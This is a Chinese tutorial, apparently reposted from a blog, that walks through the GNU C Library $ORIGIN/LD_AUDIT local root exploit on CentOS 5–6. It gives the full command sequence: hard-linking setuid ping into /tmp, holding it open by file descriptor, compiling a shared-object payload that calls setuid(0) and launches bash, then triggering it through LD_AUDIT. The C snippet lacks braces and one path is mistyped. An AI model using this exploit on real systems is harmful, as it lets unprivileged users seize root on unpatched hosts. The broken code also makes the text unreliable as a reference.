Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权相关的知识,希望对你有一定的参考价值。

GNU C Library动态链接库$ORIGIN溢出提权

提权

利用tmp目录权限、suid权限和c语言是普通账号提权为root权限

适合RHEL5-RHEL6 Centos5-Centos6系统提权

靶机环境:
	centos5.5

新建普通用户

useradd ocean
passwd ocean
su ocean

创建目录

mkdir /tmp/exp
ln /bin/ping /tmp/exp/target 
# 创建target文件硬链接
exec 3< /tmp/exp/target  
# 把target加载到内存中
ls -l /proc/$$/fd/3  
# 查看其在内存的情况
rm -rf /tmp/exp/  
# 删除目录
ls -l /poc/$$/fd/3
# 再次查看其在内存的情况

创建一个 c 文件

vim payload.c

# 文件内容
void __attribute__((constructor)) init()

   setuid(0);
   system("/bin/bash");

编译文件

gcc -w -fPIC -shared -o /tmp/exp payload.c
# 编译文件
ls -l /tmp/exp
# 查看文件
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/3
# 提升权限

可以发现权限已提升为root

推荐阅读

http://wjlshare.com/archives/1566

以上是关于Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权的主要内容,如果未能解决你的问题,请参考以下文章

Windows提权第一篇-内核溢出漏洞提权

SUID提权:CVE-2021-4034漏洞全解析

gnu c library是啥意思

内网渗透测试理论学习之第三篇内网渗透权限提升

Windows环境下CodeBlocks导入GNU Regex Library 正则表达式

《JavacJavaJar命令》第三篇